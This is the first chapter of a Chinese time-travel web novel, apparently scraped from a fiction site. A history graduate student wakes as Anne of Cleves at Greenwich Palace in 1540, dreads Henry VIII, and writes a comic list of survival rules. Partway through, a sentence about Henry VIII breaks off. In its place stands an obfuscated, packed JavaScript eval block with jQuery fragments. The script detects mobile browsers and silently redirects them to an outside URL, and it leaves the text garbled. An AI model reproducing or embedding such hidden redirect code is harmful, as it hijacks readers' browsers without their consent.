第一章  新娘


    格林威治宫，1540 年 1 月 6 日，寅时三刻，夜色像一条厚重的天鹅绒帘子，把整座宫殿裹得密不透风。


    烛火在壁龛里发抖，蜡泪顺着烛身往下爬，像一条条细小的白色蜈蚣。安妮·克里夫斯就在这样的光里醒来，额头抵着湿冷的壁画，圣母的鼻尖戳在她发髻上，冰凉得像一枚宣判的印章。她先是闻到霉木与蜂蜡混合的味道，接着看见天花板——其实是穹顶，高得仿佛能把人吸进去，彩绘的上帝正板着脸，目光炯炯，好像随时准备开罚单。


    她眨眨眼，花了足足三秒钟才确认：这不是自己的 12 平米出租屋，也不是图书馆的自习室。她伸手去摸床沿，摸到一块雕花木栏，雕花是缠枝玫瑰与狮子纹章——玫瑰代表都铎，狮子代表英格兰，两者组合在一起，等于“亨利八世到此一游”。


    “完了。”她喃喃，“毕业论文还没写完，就被抓来当现场嘉宾。”


    她坐起身，赤脚踩在石板上，寒意顺着脚心直冲天灵盖。烛台只剩拇指长的一截火，火光把她的影子拉得老长，像一条被风吹歪的问号。桌上摊着一封信，封口蜡戳是狮冠与龙，拆开——拉丁文花体，她却读得毫不费力，仿佛大脑自带 OCR：


    “致我未来的第四任妻子，德意志的安妮公主……”


    落款：亨利八世。


    信纸在她手里发出轻微的哗啦声，像枯叶，也像判决书。她把信倒扣在桌上，深呼吸三次，然后狠狠掐自己大腿——疼，疼得想哭。不是梦，是限时生存综艺，冠军奖品：脖子以上完整。


    她环顾四周：挂毯上是猎鹿图，鹿的眼神惊恐，和她对视；矮柜里摆着一只琥珀色玻璃瓶，标签用哥特体写“解毒糖浆”，味道估计介于止咳糖浆与醋栗酒之间；最底层抽屉里躺着一条绣骷髅头的小手帕，不祥值加一。她把解毒糖浆塞进束身衣暗袋，和心脏做邻居，心想：万一国王请我喝下午茶，至少能自救。


    门吱呀一声裂开一条缝，两颗脑袋叠罗汉似的探进来。侍女甲压低声音：“殿下睡得可香？”侍女乙接话：“听说德意志公主不睡满十二时辰，脸会肿成马。”两颗脑袋窃笑，像两只偷油的小老鼠。安妮把被单拉到鼻尖，只露出一双眼睛——社交恐惧症的出厂设置。她决定先装睡，等老鼠们撤退，再执行《穿越者求生 SOP》。


    老鼠一走，她立刻下床，光脚在房间里搜证。衣柜门洞开，一件金线织锦婚袍静静垂挂，重得可以当防弹背心；梳妆台上摆着一只象牙柄发刷，刷背上刻着 H VIII，仿佛随时提醒使用者：梳头也得有皇家授权。


    她推开窗，雪片迎面扑来，像一群调皮的小精灵。远处泰晤士河被冻成一条银链，河对岸的塔楼顶上，一块方形平台在月光下泛着青白——那是伦敦塔的断头台预定席，安妮·博林和凯瑟琳·霍华德都曾在那上面签过人生最后一张单程票。安妮“刷”地拉上窗扇，连带把寒风和塔楼一起关在玻璃外：“眼不见，心不颤。”


    桌上还有一盘冷鹌鹑和一罐蜂蜜酒。她犹豫三秒，决定先填饱肚子再写遗书。第一口鹌鹑肉还没咽下，她突然想起：试毒员今天是不是请假？于是她放下刀叉，把整盘鹌鹑推到一边，礼貌地说：“您先请，陛下。”鹌鹑毫无反应，依旧死得安详。她改喝清水，顺手把蜂蜜酒往地上一倒，权当给地板消毒。


    雪声、风声、远处更鼓声，三重奏。安妮坐在床边，拿鹅毛笔蘸墨水，却迟迟落不下去。写什么？给 21 世纪导师写请假条？“尊敬的教授：因被时空乱流卷进都铎王朝，论文可能迟交五百年。”太荒谬。她换一张纸，开始列《怕死清单 1.0》：


    1. 绝不在国王面前打喷嚏（黑死病 PTSD）。


    2. 绝不主动提“生孩子”（怕暴露没圆房）。


    3. 若国王说“惊喜”，立即微笑，同时确认脖子完整。


    写到第三条，笔杆“啪”一声断了。她抬头，看见圣母在穹顶继续板着脸；鹿在挂毯上继续惊恐；雪在窗外继续落。她裹紧斗篷，缩回床上，像把刀收回鞘。


    现在，让我们把时间拨快一点，介绍那位让全欧洲失眠的男人——亨利八世。


    亨利八世，全名亨利·都铎，生于 1491 年 6 月 28 日，双子座，性格里自带“分手就砍头”的极


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155891|180550||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    端套餐。他原本是次子，注定当闲散王爷，可哥哥亚瑟 15 岁早逝，王位像烫手山芋一样砸在他头上。亨利从小接受人文主义教育，能写拉丁文情诗，也能在比武场里把对手挑下马；他英俊、高大、红发如火，年轻时是欧洲最抢手的黄金单身汉。


    然而，王位像一把放大镜，把优点放大，也把缺点放大。亨利想要男性继承人，第一任妻子凯瑟琳没能生儿子，于是他以“无子”为由提出离婚，罗马教皇不同意，他干脆宣布英格兰脱离教廷，自己当教会老大。第二任妻子安妮·博林生下伊丽莎白，依旧不是儿子，于是安妮被控通奸、□□、巫术，最终走上断头台。第三任简·西摩终于生了爱德华，却因产褥热去世。第四任，就是现在的安妮·克里夫斯——也就是我，一个历史系研究生，一觉醒来成了国王的“续弦”。


    亨利八世的婚姻像一场高风险投资，回报率是“男性继承人”，失败代价是“妻子人头”。他不仅亲手改写英格兰宗教版图，还把“离婚”这个词变成血淋淋的动词。全欧洲都在赌：第四任安妮能坚持几个月？


    回到格林威治宫的凌晨。安妮躺在床上，听见自己的心跳——咚、咚、咚，像有人在倒计时，也像有人在敲小步舞的鼓点。她想起中世纪史教授的话：“亨利八世不是暴君，他是被继承焦虑逼疯的普通人，只不过普通人没有权力把焦虑变成砍头。”


    她把自己缩成更小的一团，用德语小声数数：“Eins, zwei, drei……”


    数到 zehn 时，她忽然意识到：恐惧不是弱点，是雷达。雷达越灵敏，越能提前发现断头台的脚步声。


    窗外，雪停了，天色泛起蟹壳青。远处传来马蹄声，铁蹄踏在石板路上，像一串沉闷的鼓点。安妮知道，那是国王的御前侍卫在换岗，也是她人生倒计时的开始。


    她深吸一口气，把《怕死清单 1.0》折成小小一块，塞进束身衣最里层，贴身贴着心跳。然后她闭上眼睛，对自己说：


    “欢迎来到十六世纪，胆小鬼。活下去，才能写论文。”


    烛火终于熄灭，一缕青烟笔直上升，像一条细小的逃生路线。